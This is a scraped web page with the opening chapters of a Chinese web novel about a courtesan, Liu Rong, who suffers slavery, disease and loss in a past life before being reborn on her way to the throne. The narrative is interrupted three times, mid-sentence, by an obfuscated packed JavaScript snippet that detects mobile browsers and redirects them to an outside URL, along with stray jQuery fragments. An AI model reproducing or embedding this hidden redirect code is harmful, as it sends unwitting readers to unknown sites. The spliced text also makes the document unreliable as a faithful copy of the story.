《从女奴到女帝(重生)》 1. 楔子 坐上龙椅前,柳茸有过七个男人。 五位朝臣,两位天子,其中一位,被她鸩杀。 不,说是自尽也不为过。 那人预见般接过她递来的鸩酒,饮了下去,笑比血先一步映入柳茸的眼帘。 有无人告诉过他,他的唇其实很好看。 唇珠圆润,唇角锋而不戾,每每欢好时,凸出的唇珠游走在她青丝、肤肌间,总能带来入骨的颤栗。 “为何要饮……”柳茸问。 “为何不饮?”他淤黑的血自唇角蜿蜒,滴落胸前的龙袍,“我当天子本就是……为你铺路啊。” 是啊,若是没有自己,他不会当天子。 ——无心御座远游四方,赵祁的人生本该如此,不巧,爱上身为先帝后妃的自己。 “比起朕,大梁更需要你,阿茸。” 她听见枕边人最后一次唤她的名字,看见中毒的天子望向自己,清亮的双眸如茶汤底,带着宽慰的笑意。 “朕说过的,你将会是整个大梁的泽世明珠,一代贤君,名垂丹青,” “有梁一朝,你,歆香永继。” 在留下一句不知所谓的谶语后,赵祁断气了。 大梁第五任天子崩,身后,山河易主,孤月高悬。 柳茸没有哭,许久才感到有润液浇湿眼尾,抹下来看,不是泪,是血。 是世上最爱她的人误溅的血。 那个世上最爱她的人,方才死在了她的酒下。 她鸩杀他,只为夺过他的天下。 御座宝贵,柳茸擦净血,当年扬鞭策马的风华少年又入梦而来,梦醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763434|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后却只剩自己坐在高台,独享江山。 迟来的涟漪夺眶涌出,彻底打湿眼睫。 可故人早已化作一抔黄土,在山的那头。 南山风舒柳青,是赵祁生前为自身挑的好去处。 数年前彼此依偎的一个浓夜,他曾揽着她,在兰膏暖帐里说过一段她至今无法参悟的话。 说:若他死了,就请将他葬于南山,千年之后,自有有缘人开启那座坟墓,那个人会误入远古的皇都,见到于丹青上遥想多年的仙子。 不知怎的,她猛然忆起赵祁初见自己时脱口而出的称呼:仙子。 仙子么…… 柳茸笑。 自己实在不是什么不入凡尘的仙子,也不是一生顺遂的名门贵女。 毕竟算上前世,她嫁过人,九次。 2. 前世 上一世被卖给贾府时,柳茸的肚子已有数月。 贾府的小公子对她痴迷异常,什么好吃的好玩的都会偷偷翻墙去给这位家伎,但胳膊拧不过大腿,终究是娶了千金贵女为妻。 一对璧人。 而柳茸,不过是贾侯爷与同僚酒桌打赌嬴来的物件,一吊酒钱的价,推杯换盏间,大家畅饮欢笑,她就被转手抵送给了贾家。 贾侯爷闲来无事时,会命一众舞伎跳舞,谁跳得好了放谁脱贱籍。 舞伎们使出浑身解数,白日跳到日落,双脚磨破了皮,血沁透布鞋,贾侯爷才堪堪风雅地拊扇叫停,笑骂,“贱。” “为一点饵就放下颜面,你们,生来伎子的命。” 脱籍的承诺自然不作数。 即便如此,下一次贾侯爷再发言,依然有无数舞伎争先列阵。 穷窭、贱民,活下去实在太难、太难了。 朱门大户的绣楼于她们而言,从来不是乐土。 当夜,贾府小公子逃婚投水,被救了回来,贾侯爷将所有怒火发泄到柳茸身上。 翌日,她滑胎了。 贾侯爷神色比谁都焦急,命人延请名医治她,末了重重交代,“给我治好了,否则传出去说我贾家苛待人。” 医师除去她的衣衫,当即怔愣。衣衫下,是大大小小红紫不一的梅花斑,柳茸隐约听见有人说脏。 这种病,寻常良家女子不会染。 可惜,柳茸不是。良家女子四个字和她不沾边,最初的最初,她只是某任州官从勾栏院赎来的伎子,一个穷苦人家的女儿。 没娘,没爹,有的是一张要吃饭的嘴和一副好皮囊,只要有吃的,她什么都肯干。 人是救回来了,贾侯爷气极,竟是个有病的家伎! 他大骂她脏,一瓢烫茶泼向她的衣裳,桌上茶则水盅被袖子□□倒地上,摔得粉碎。 她是脏的,脏到骨子里,从小路过的人都在嫌弃她脏,可柳茸不觉得,自己不脏,她不觉得自己脏就行。 脏的不该是把病染给她的男人们吗?为何被骂的是自己? 柳茸不懂。 她不懂,明明已熬到了乱世终结,为何阿娘说的太平盛世里她们依旧饿着肚子,做着又苦又累的营生。 每每路过贾府朱红的大门,柳茸都不禁畅想,想着若是有日咬牙横心硬闯出府,会怎样? 留在侯府也终逃不过嚼干春华后被弃至大街,逃离度日如年的樊笼,任由官兵追捕,做个亡命逃奴,左右一死。 可是,她没有力气,她吃不饱啊…… 只能日日望着屋檐角的日影一点一点沉寂下去。 是日,贾府又来客,听闻是本州刺史,大世家出身。 贾侯爷在府上一早做了接风宴,遣家伎接客,并大方将美人一字排开,说有看对眼的恣意带走,礼物微薄,不成敬意。 那人定定站着,一身白袍,似张展开的宣纸。细看,“宣纸”腰间佩着把乌剑,活像一块乌木镇纸,带檀香那种。 来人的眼古井无波,神容敛静,柳茸替他倒酒,故意翻洒了酒水,露出衣袖口的鞭伤。 “婢子招待不周,大人莫怪!”贾侯爷呵令从人将柳茸拖下去,拉扯间一道声音响起。 “她。”崔元浑不在意衣上酒渍,“我要她了。” “这……这不妥吧?” “侯爷不肯割爱?” 贾侯爷讪讪笑着,想到柳茸身上那些斑,再一想到崔元的身份,额间沁出汗津。 “好生伺候,若让他发现你有恶疾……”贾侯爷臃肥的手悄悄狠拧了把柳茸手腕,一拍她的背,顺力推她至崔元身侧,面上依然是和煦爽朗的笑。 柳茸低头颔首,默然走至那人身旁,他腰间别着的佩剑微不可察地偏了偏,谨慎避开她。 如此,她被崔元带了回去。 上马回程前,崔元想到什么似的回首,“在下还有一事提醒侯爷。” “刺史请言。” “擅杀家奴,按律当笞。我不认免死金牌,”他双眸疏冷,口吻几分警告,“落魄侯府最好没有此事。” 贾侯爷脸色微变,白马车扬尘驶远。 崔元的官邸与贾府很不一样,几乎不点灯,不宴舞,不开筵,柳茸没有同伴,偶有三两个修剪花圃的老奴抬眼瞟下她,又匆匆凝心于手头的事中。 而官邸的主人自把她带回家后便再无表态,每日不是在廨中就是在书阁,仿佛忘了府内还有这么个家伎,直到柳茸爬上了他的床。 月夜,崔元如常就寝,灯火吹熄半晌,冰凉的触觉自被衾外缘蔓延到臂膀。 “公子……”柳茸像个顺杆爬的藤蔓,从被里缓缓发芽。 崔元一把连人带被衾裹住她,整个压在床板上,束缚住她进一步动作。 柳茸想挣扎,可对方心铁身也铁,眼里没有半点能催动的情欲,和勾栏院里她一勾手就丢了魂的恩客们不同,她的欲拒还迎头一遭在一个男人身上失效了。 “谁让你这么干的?”崔元不动如山。 夜寂了良久,他耐着性子与她对望,势要等一个答复。 “没有人,是我自己。”柳茸开了口。这是她谋生的营生,她也想有别的本事,奈何只擅此道,她想搏一搏。 “理由。” “我……想活下去,活得更好。” “你是燕王派来的细作?” 柳茸摇首。 压在身上的力道更重了,“你究竟是何人?” 她察觉到男人的弦在紧绷着,也知道不交代个所以然来对方不会放自己走。 可她真的只是一介无权无势的贫女。 柳茸离家那年,阿娘才下葬三个月。 小小的人儿不懂什么叫入土为安,只以为阿娘贪睡。 阿爹说,阿娘是跟地母娘娘走了,地母娘娘家有数不清的米和肉,一年四季如春,有地母娘娘的照顾,阿娘再也不会饿、不会冷了。 柳茸问,她何时也能跟地母娘娘走? 阿爹嗫嚅着没有答话,只说她太小了,地母娘娘不要她。 地母娘娘真过分,嫌弃阿茸。 柳茸垂头丧气踢着脚下枯叶,回到茅草堆的篷庐,阿爹烧水替她擦脚,而后吃一块佃主舍的橘柚,饱饱上*床。 没过几日,蝗虫来了,一夜之间高粱变废草,有人饿得吃蝗虫,毒死在了田里。 颗粒无收,阿爹一下倒欠佃主家三百石粮,主家不高兴了。 主家来的人和阿爹在门外争执,柳茸从门缝里偷,他们依稀吼着之前阿娘的病他们已借了主家许多药钱,如今人死粮也尽,是阿爹欠了主家的,要拿东西抵押。 门开了,阿爹将她护在身后,把他自己抵押了出去。主家的管家拍胸脯保证,只要阿爹肯听从安排,不动柳茸分毫。 阿爹被安排去当了渔户,每日回来得很晚,柳茸难过阿爹不能多陪自己,又窃喜无人管着白日贪玩的时辰能多些。 直到有日,晚霞中再没出现阿爹的身影。 柳茸哭着等啊等,饿得去要饭。 佃主家的千金正巧施粥,她要了一碗,拨楞了下稀疏的汤水,浮在水面的米有些眼熟,是阿爹去岁贡给佃主家的粮。 半碗粥还没落肚,街角一队家仆冲她奔来,嘴里嚷嚷着“就是她”,任凭她哭喊生拉硬拽拽上了车。 阿爹,那群人不讲信用。 她被拉到人市,家仆们笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763435|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她打趣,“你阿爹不要你了。” 不会的,阿爹不会不要她! 柳茸把最后一个窝窝藏进怀里,想等见到阿爹后留给他吃。 窝窝被踩碎了,她也被卖了。鸨母挑走了她,从清倌人做起学秦琴。 是年柳茸六岁,拿不稳琴,鸨母将她的指腹死死摁在琴身,弦深深勒紧肉里,柳茸疼得落泪。 人为何要学会弄疼自己的本事?倘若她有阿娘就好了,阿娘会疼她,不让她学,阿娘在,定不会叫人欺辱她。 然而,如今的她没有阿娘,也没阿爹。 勾栏院女子的□□机会不轻易给的,给妓子□□又名梳弄,柳茸做了数年清倌人,鸨母终于等到了她能梳弄那日,让人将她装扮成新嫁娘,在院门点大蜡烛。 整个妓馆布置成洞房样式,一派欢喜洋洋。 有恩客一掷千金,买下当“新郎”的机会,梳弄了她一夜。 正式梳弄过后,即意味着可以挂牌接客了。 她运气好,第二位恩客便是一位巡官,也是他赎柳茸出勾栏院,许诺为柳茸销掉乐籍。 结果,就和许多年前一样,落在她身上的承诺永远不作数。 她从商伎变成了家伎,自一个火坑跳入另一个更灼身的火坑中,浮萍一般兜兜转转,在官官间半卖半送着。 这半生,柳茸从未受过属于贵女天命的照拂,勾栏院唯一教会她的吃饭技巧便是眼波婉转,她也只想在有限的辰光里往上爬、活下去,讨口饭吃。 她不止一次梦到,如若出身将门,她或许已长成一名巾帼女将;若生在王侯皇室,她能是某某公主;若生在簪缨世家,她可饱读诗书去当个女官。 但,什么都没有发生,醒来熹微一如既往照着,她也只是万千草芥之一。 崔元的目光凝在她脸上,找寻着撒谎的痕迹,最后彻底松开桎梏,点上一根甘甜的橘香,柳茸一夜好眠。 醒来中衣和裙带齐整,维持着昨夜睡前状态,未被解开。 崔元是从书房走出的,正沐在清晨的光里。 往后几日,二人沉默相对。崔元回府的时间愈发地少,柳茸独自望着天井雨落,终有一日心痒跟出了府。 崔府人少门禁松,她想见见堂堂刺史白日在做什么,跟到尽头,就见到了一名在田间陪老农犁地的父母官。 他一回眸,她险些摔进水田里。 “别下来!”崔元打着襻膊,白色裤腿上全是褐泥点子,“下面脏。” 他铺来柔韧的芦苇垫,垫住柳茸的榴花红裙,自己和老农谈着农时。 剥石榴的手停滞在果皮上,柳茸听得入神,那是她没接触过的知识,阿爹若在说不定会教她一二。 “小伙,不帮娘子剥石榴怎得行?”蓦地,老农拍拍崔元,一副过来人的恨铁不成钢,“长恁大不晓得疼人。” “阿翁,其实我是……”是他的家伎。 乐伎的籍契由各地官衙保管在册,严格来说她仍算他的家伎。 然而崔元似乎不打算纠正老农,看向柳茸的神情有几分拙涩,“你很想让人剥石榴?” “呔,笨死。”老农丢下一句评价走了,殊不知被自己说笨的小伙是能连夜写十篇《生民论》上表评议的本地刺史。 烈日当头,崔元继续下地,柳茸偶然抬手,一颗剥好的石榴悄无声息摆在手侧,硕粒凝香。 柳茸欲言又止追了上去。 “诶诶,看着!你家婆娘要摔下去了!”老农在道旁大喊。 一个青禾香的胸襟揽住她,也揽住她将要触及泥面的鞋尖,柳茸愣了片刻,触忌般化身滑溜的红鱼逃似的挣脱开。 “公子,”她抿了抿唇,“我身上,有疾。” 3. 前世 “我知道。”崔元在水田里,斗笠遮住脸,一眼都没抬。 “什么?”柳茸一怵,微微屏气。 惊愕也好疑惑也罢,她都不意外,偏偏都没有,崔元的反应如一碗水,平、准、静。 无由来的惧意如蚁爬。 他早已知晓,他竟不说。何时?如何暴露的? 柳茸心如鼓擂。 一顶斗笠盖在她头上,遮去毒辣日光。 “先时见你并未提起,想来是你的症结,就没过问。” 身子在发痒。 “公子不害怕?” “你呢?”崔元的目光落在她肩头,本该是最无忧的桃李之年却身染恶疾,清瘦透骨,“害怕么?” 柳茸被问住。 怕么? 不怕是假的。勾栏院里的女人身骨和前路一望到头,再红艳养人的头牌花期也只在转瞬,日子久了都被蹉跎得病气奄奄。 先是脓斑,后是牙齿、耳鼻,最后走着走着剥落一块肉。她见过尚未断气的花魁被鸨母活装入棺材,见过浑身脓疮的姊妹被蓬头散发扔出院,拍门声厉鬼索命般响彻一夜。 她怕得要命。 地母娘娘不要她,人间也不容她,她就像个找不到父母的孩童,哒哒踩着铃铛鞋颠簸。 隔了很久,崔元的声音才摇曳入耳。 “会医好的。”他的话似誓诺,风一吹,青禾香细碎散过柳茸鬓边耳畔。 与禾香一同送来的还有每日一碗药汤。 柳茸拧着眉心喝下,喝到见底崔元派来的家仆方肯离去。府内渐渐有了闲言碎语,都传喝的是避子汤。 何事用得到避子汤?仆役咋舌,看不出,一任两袖清风的崔元崔子白也有畜伎之好,男人么。 唯柳茸知晓,那不是避子汤。 但崔元似乎并不甚在意,整个菊月,他都在凉风里修棚收瓜,在田垄间与柳茸采花,偶尔停下,拍拍道边顽童的脑袋。 廨中公牍处理完,崔元会下田帮老农割稻。 他背着柴,手提镰刀,白衣被杂草钩破,杂草被他折成草螳螂,藏在掌心一本正经喊柳茸过来瞧。 有时崔元也命人将公文带到田里来,一边批阅一边理农活。 这个“人”往往是柳茸,往后全是她。 起初,她只负责研墨,后自荐枕席上手些誊写文书的小事,簪花小楷和银钩铁画的字叠在一起,桌面平添三分灵动。 寻常女子习字的不多,勾栏院却会教,尽管本意是为娱人,学得再好也无法同男子求取功名,但士人卖|身给天家,伎子卖|身给恩客,人居一世,终归土尘,谁又比谁高贵。 柳茸不觉得自己比人差,儿时她总是习字最刻苦的,戏折子、话本、词曲顺口拈来,直至亲眼窥见崔元腕侧漏出的半面公文。 生僻的字词,晦涩的典故,就连桌上的兵书也是勾栏院不曾教给女子的读物。 原来过往学至极致的知识也不过皮毛。 柳茸眸中的光酸楚地落下,又不舍地攀上兵书。 当日,她在书房多留了几刻。 后来若是送完案牍尚早,她便轻车熟路潜入书阁暗处,“勾引”一本兵书。 崔府的男主人回府了,似乎没朝这边看。 柳茸继续安心翻着《六韬》,仿佛一头闯进从未踏足的新天地。 ……原来文字的用处不止吟诗唱曲,文字可为剑杀人,亦可为药救人。 书架下的人逐渐沉沦,从书中抽离时,她才颇有感悟地合上扉页。 只是,感悟怎么如此粘腻?柳茸疑惑地起身扭头,瞬间呼吸一滞。 癸水漏了,供人坐阅的梯架一片血污。 擦不干净…… 制梯架的木名贵无比,她赔不起。 努力平复心境移开擦红的手帕后,柳茸望了眼书阁,无人,急忙回房换月事带。 待到拿上皂角粉再回书阁,梯架的血污无了,不知被谁清理过,梯台干净如初。 四下尘静,窗散漫开着,貌似是风吹来的青禾香。 是那个人。 崔元在灯下批着公文,面上情绪不显,听见她的脚步才略略抬眼。 “公子。”柳茸长身玉立的影子从屏风后走出。 “我没叫参汤。” “是我答谢公子的。” 他的眼神仅在她身上停留一瞬,接着转到卷宗上,有意避开来人想继续的话头。 “公子要饮吗?”柳茸调着汤勺,水滴声涟涟。 水声有些大了,崔元透过薄薄一层纸页看去,见她素手挑着小瓷勺,莹亮的汤水盛起,在唇心下吁吁细吹,唇上胭脂若有似无挨到汤面。 胭脂几乎要与汤面相融时,乌木剑鞘一定,抵住柳茸手腕。 “你平日喝药也这般慢吗?” 柳茸垂眸低笑,“给公子的汤,不敢轻待了。” 末了邀约般道:“公子,饮吗?” 参汤一饮而尽参汤。崔元喉头的苦意还未消退,柳茸已坐到距离更近的蒲团上。 灯影下的背端地更直了,他不看她。 “公子可去过勾栏院?”柳茸忽而好奇。 崔元不答话。 “那你可要当心了。我们啊……为了向上爬什么话都说得出口,三言两语便把公子拐了去。” 她企图勾住他的下颌,没成想手指伸到半空那人回身一握,反客为主,握住她放肆的指尖。 指尖被不轻不重的力道克制地压下,缓缓降离他的下颌。 “她们拐不了我。” 察觉到失仪,崔元松开手,“你想要什么?” 这次换柳茸定住他的手腕,道具不是剑鞘,是本书,兵书《六韬》。 “适才在书阁发现此书为蠹虫啃噬,想为公子补书,有缺句不懂,恳请公子指点一二。” 兵书,鲜少有人看,崔元沉默。 “你真想要我指点?” 柳茸颔首,许久才见他松口叹气。 很快她便知晓他为何叹气,白马车载着她随崔元出城,穿过阡陌荒田,眼前尽是大片与州府岁月静好截然不同的焦土。 叛军南下抢掠城池,稻谷被铁蹄踏成草屑,道边扎营的流民盛着米汤,崔元虽退敌成功,安置所有生民依然需要时间。 兵书尽头是御敌,御敌尽头于崔元而言是为生民活。 柳茸试图将兵书和现实照应,照无可照。现实不是白纸,千变万化,兵书里的术法要在现实顺利推行不是易事。 今日,崔元亲自来监管义仓放粮,旁人他不放心,前任刺史手下出过不少趁机贪墨之事,发到生民手上的粮常混入石子。 领粮的人排着队上前,有老妪,有瘸腿的女人,有人衣物勉强裹身,有拖家带口,也有伶仃一人。 柳茸唇瓣轻动,很多年前阿爹不见的夏日里,她也曾是他们的一员。 自打入了红粉花柳巷便快忘掉的回忆与此刻的场景重叠,柳茸下意识地想回避。 饥饿感从多年前涌来,胃海翻腾。 她转身,一块僵硬的物什塞入掌中。 失去右臂的女童用仅剩的手将一块窝窝放进她手里。 是给自己的? “她想你喂她。”喝粥的流民出声解释,显然见怪不怪。 女童期待地瞧着柳茸。 “你爹娘呢?”柳茸蹲下身。 她瞪圆了眼思索一会儿,似懂非懂指着地面,“地母?娘娘?” 地母娘娘,很久没听过了。 柳茸噗嗤笑了,笑中闪过泪花,“对,是地母娘娘。” 地母娘娘身下收留着无人要的灵魂,独独把她们遗留在了世上。 女童还是比自己命里有福的,柳茸想。没有被卖,没有沦落枇杷门巷,崔元派人将双亲皆殁的幼儿接去育婴堂。 暮野四合,卷地风沙涤荡掉禾香,白马车载着二人回到尚且安宁的崔府。 柳茸已是累极,在车上了小憩一会儿。 醒来,肩颈枕着一叠细软白袍,一本注解好的兵书送在她的鬓侧,犹带墨香。 从那以后,柳茸搭了个施粥铺,她何尝不知这点粥杯水车薪,但自己能做的也只有这点活。 人头攒动,道谢连连,柳茸腆然地以笑付之,微末的欣喜慢慢发芽,可随之而来的愧愤如当头棒喝,她心头一紧,大梦初醒般摇头。 自己竟然会感到欣喜?分明不是为了受人称赞才施粥的,缘何会感到开心?这和当年施粥给自己的主家千金有何异? 她当过流民,深知他们是最不喜欢接受别人怜悯的,只是迫于生存放□□面,如今,她也变成了小时候讨厌的施粥者,她不该…… 可是自己正因受过苦,故而观他人之苦难如同切肤之痛才施的粥啊。 道不清的情愫在心中交战,柳茸定神强令目光聚焦盛粥的勺子。 她一方暗斥自己恶毒、伪善,背叛了同在苦海的沦落人,一方又忍不住想当个为人撑伞者。 想了一夜,长夜阑珊,身上的病痛更重,晨起,柳茸按时熬粥,铺周已围满等粥的人。 他们的眼神化作一双双泥潭里挣扎出的手拉住想要撤身的她,就这样吊着一口气,日复一日,柳茸按时施粥。 战火的余震随时间减弱,流民越来越少,待崔元将四面八方的流民彻底安顿好后,柳茸病倒了。 高热模糊间,隐约有一只颀长如玉的手在为自己拧水。 她感到混沌的温暖,一如徜徉春水里,忍不住拉住眼前的手,让它稳稳贴面别再乱跑。 那只手没有无情抽回,容忍着她。 半梦半醒间,她又回到了儿时的蓬庐,阿爹在替佃主耕田,阿娘抱着她坐在牛背上唱山歌,满山野花里,她听着歌沉沉睡去。 耳边若有谁在叹息,而后真的传来了歌声。 低沉、缱绻,不是山歌,歌谣支离破碎划过柳茸脑海。 她摩挲着“母亲”的手,。 可那双手是冰冷的,骨节分明的。 不是“母亲”的手,她无暇思考,彻底陷入梦乡。 痊愈是三日后的事,柳茸刚好,崔元却病了。 柳茸想去查探病情,崔元门闩紧闭,白衣墨发的身影抵着海月窗。 “会传染给你的,回去罢。” 他清咳不止,不肯见她,隔日择了个由头入朝觐见去了,说是奏疏叛军收缴情况。 关于朝局的事,柳茸为乐伎侍酒时在那些醉醺醺的男人身上听过一耳。 先皇宾天,五子夺位,朝中人人自危,各处选边站。 也有头犟的几边不靠,比如崔元崔子白,狂言到说出自己侍的非君非王,是民。 言官的唾沫星子雪花般砸来,恨不得把他喷死,崔元置之不理,该做事做事,该种地种地,得闲和家丁一同收麦子。 身为博陵崔氏本家子弟,说出如此大逆不道的话也仅是象征性降了几阶,由京官调为上州刺史,人人都说若无意外过几年便官复原职。 柳茸有些担忧,到那时她能随他入京吗?亦或是被留下? 如同被养在外宅的姊妹们。 与大多数面朝黄土背朝天的大梁子民一样,她也没到过这个国家的心脏,京城的繁华与他们无关。 但那里是崔元长大的地方。 贾侯的家就已是极尽奢靡,真正的博陵崔氏府邸该是何等辉煌?会不会有很多家伎? 光是贾府走一遭已剥掉自己一层皮,换不来一个脱籍的契机,若到了历经三朝的大世家呢?又要付出多少才能抢到机遇? 柳茸裹紧石榴裙,誓要将兵书的每个字看进眼里。 她要好好温书,好好养身,快些寻到脱贱籍的法子。 崔元固然是善人,然她不敢轻付。经年累月的失望,她已不再想将希望依托于任何男人身上。 何况自己与他并未介入彼此的过去,也非总角之交,于柳茸看来,如此情缘说好也好,说脆也脆,是叶子上的晨露,宿晴即散。 千里之外,崔元信至,明令是给柳茸的。 “给我?”她展开信,笔墨是崔刺史一贯的精简: “晨起推门,雪晴云淡,折梅一枝,寄予阿茸。” 板板正正一个人,纸上倒是写些俏皮话。 一株红梅倏然从信札掉落,第二页是黄梅,最末页是白梅,花心鲜妍,似春光照眼中少女含笑,枝桠不规整地划破折页。 十多日后,又一封信寄到崔府,这次寄得近,地点是离州府不远的驿站。 崔元要回来了。 可惜柳茸没看,主人不在家,几个厨娘壮胆拉着她喝春酒,醉着。 是以崔元一入府便看见躺卧蔷薇架上的一截榴裙。 她深深睡着,手中的酒盅不知何时倒了,洒出的酒将花浇得鲜嫩,醉点春容。 慵懒的“榴花”总算醒了,面上涨起吸饱水的潮红。 低头一视,腿悬空着,有人抱着她走。 崔元没有放人下来的意思,柳茸便也接着装睡,手不老实地玩起那人身后头发。 她的肌肤一天比一天丰,食欲也一天比一天大。 有次她回眸,捉到灯火里,崔元在偷偷望她。 灯火里,神容看不真切。 药汤似乎在见效,自己快好了,对吧? 然而变数永远不期而至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763436|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜里,火光四起,鞋履纷乱,有人撞倒九枝灯,焰火煌煌,然过路人皆无暇取水灭火,人影慌张奔逃。 柳茸被吵醒,屋外一片狼藉,几个厨娘架住她就跑。 暗夜昏光中一对兵马围住崔府,开门,仆僮不见,崔元也不在。 崔府半烧焦的乌黑寂寥。 官兵寻到崔元时,他正坐在田间望天,手里是最后一把稻苗。 五子夺位分出了胜负,齐王不知用了何法联手太尉兵变,其他四子被料理了个干净。剩下的事便是清缴残部,顺应者生,错站者死。 不幸中的万幸,崔元从不站队。万幸中的不幸,博陵崔氏选主了,选错了。 站队是错,不站队更是错上加错。 百年风光,累世家业,翻覆也不过旦夕之间。 昔日贵胄之子,一朝跌重,长安遣刑官连夜提审。 少年模样的刑官转着削骨刀,见崔元囚服下点点延伸的梅花斑,了然哂笑。 “我道崔大人当真六根清净,原也是做样子。” 此种病花街柳巷最易得,一瞧便知。 “听闻崔大人府中狎妓,看来传言不虚。” “敝人没有。” “那这病难不成是自己染的。”少年啃了口削骨刀削的苹果,见崔元无端笑了,脸色讶异,如见趣事,“你还真自己染了?” “你成过亲吗?”崔元抬起眸。 “忙于国是,无心儿女情长。” 崔元闻言笑了,微微下勾囚衣,露出锁骨上更多骇人的红斑。 “此乃吾妻在吾身上所留之物。” “我是她的夫。”他神情得意,甘之如饴。 尽管他们不曾有过一夜夫妻之实。 “崔子白,你疯了。” 判刑定在三日后,这三日里,按照惯例要逼罪臣向皇帝磕头谢恩,谢皇恩浩荡。 六次了,刑官第六次逼问崔元究竟有无话要说,牙关紧咬的人终于点头。 录事提笔准备开记。 崔元:“恨天不降大梁以仁君,竟让鸡犬升天。” 一声暴呵,他的头再次被按入污水。 死亡威胁不了他,但梦能。 他又梦见满树绚火的榴花。 树下有人穿着茜红榴裙,施施然向自己走来,褪掉彼此裹身的衣冠,诱他,教他,用他。榴花被风呼呼吹落,湿热地打在他脸上,也盖住了她。 睁开眼细看,脸上的并非榴花,是柳茸的手。 监狱外跪着长长一条为刺史请命的队伍,老农抱着狱卒裤脚摊开手中稻谷,柳茸混在探监的人群里,见到倒在狱栏边的他。 “不是叫秋姨她们带你逃了吗?”崔元虚弱地喘息,“为何要回来?” 望见他身上的梅花斑,卧病在床时“母亲”的手、陌生的歌谣皆在今日有了答案。 柳茸道:“我害了你。” “无意间染的,你不必道歉。”他恻然笑着,“该道歉的人是我……对不起。” 对不起,擅自冒领夫婿之名。 “其实,你被赎出妓馆那一日,我就遇见你了。” 柳茸闻言一僵。 骨头硬直的人肯托出心事,说明死志已决。 “别说了……” “那日驾马经过,崔某萌生妄念,但你已许配他人,非礼勿言,一片狂心暗许,只得默观遥祝。” 崔元枕在她膝头,像只大雨中蜷歇的小兽,“那时我以为你找到了良人。” “我带你逃,崔元,我救你走!” 看守的狱卒是本地人,灾年受过崔元照拂,睁一只眼闭一只眼,全城百姓都在勉力配合,运人的牛车就在城门侧。 “本官无罪,本官不逃。” “你若不逃,全城百姓都会因此遭难。” 崔元有一瞬间的动容,俯仰间又再次摇头,“那便更不能牵连你们。” “走罢,都走。去城南,有人会接应你。”他走入铁窗下的阴影中。 柳茸默了,忽然福至心灵:“我们……从前是不是见过?” 记不起在哪见过这张脸了,亦或许是记错了。 崔元不说话,柳茸等着他的回复,三日后,她不用等了。 第三日,判决书下达,命押崔元至长安与崔氏老少受刑。 牢狱再开时,只见崔元跌坐狱中,额头沁血,生息全无,墙壁上竖流一片殷红。 他不允许任何人冒险救他,死了就无人有行动之机了。 三日前那份疑问才冒出头,即成了无解的谜题,和请奏脱除柳茸乐籍的文书一起,被死亡深埋。 酷暑一至,城中搜捕崔府“逃贼”的余韵未消,大饥席卷州县。 继任的新官无心农事,崔元上任后整治的菜人市死灰复燃,昔日禾田俨然炼狱。 王孙公子争锥刀利,帝位轮转,世家兴覆,黎民依旧困苦。 此地的百姓方从余乱中解脱,难道要再一次重陷苦海吗? 不能看他们入火坑——柳茸从泥地里爬起,裙摆滴洒着泥泞走向人市的笼子。 手起刀落,木门绳索断裂,秀长的身影放走将做成菜人的孩童。 她的力量太小,太小了,只有一把刀,一只手,微乎其微。 为何她永远都在见人受苦?为何连自己都自身难保? 破庙佛龛前,柳茸冥冥地合十双掌,祈愿来世若真随佛下生,不要活得如今生糊涂微渺。 究竟人要如何才能更好地活?究竟要付出多少才能到达更好的世代? 任何一本兵书上都未有交代,回以柳茸的只有呜呜风号与溃烂的肉身。 饥荒封城,药源截断多时,今岁的暑气来得格外猛。 无药,无粮,无水,她的旧伤开始发炎。 鱼口又肿又痛,下|身涨痛难忍,禁不住的抓挠过后,一块肉剥落在地。 恍惚半刻,柳茸自说自话地道了几声“不怕”,冷静处理好一地狰狞。 不怕不怕,茸是草芽儿,烧不尽,吹不倒,任何苦痛都不怕。——耳畔响起阿娘的哄睡声。 她好像刚从磕磕绊绊的人生中拨开一点朦胧的光,就要谢幕了。 崔元死了,老农被吃了,自己的身体,也快撑不住了。 倒在日出前,柳茸看见米肉贩子从后方追来,可她已无精力再维系清醒。 地母娘娘在呼唤她。 朦胧曙色里,她真的听见地底飘上来的声音,一会是阿娘的摇篮曲,一会是阿爹在乡间土路上招手吆喝,一会是崔元的轻哼。 最后所有声音戛然静了,肉身的疼痛散去。 一切归于岑寂。 4. 重生 香尘杳杳霭霭,散入花楼窗棂。 陈塘渔火已落,荷风渐紧,青石板巷逼仄处,留春台点起迎客的红灯。 柳茸醉在花船栅栏里,手点着水面,身子忽然倾动,随手中碧簠摔了下去。 “你醉了。”一只手截住了她的腰。 柳茸跳动的眼皮睁开,是满眼未散去的悲怆,酒香一醺,逐渐清明。 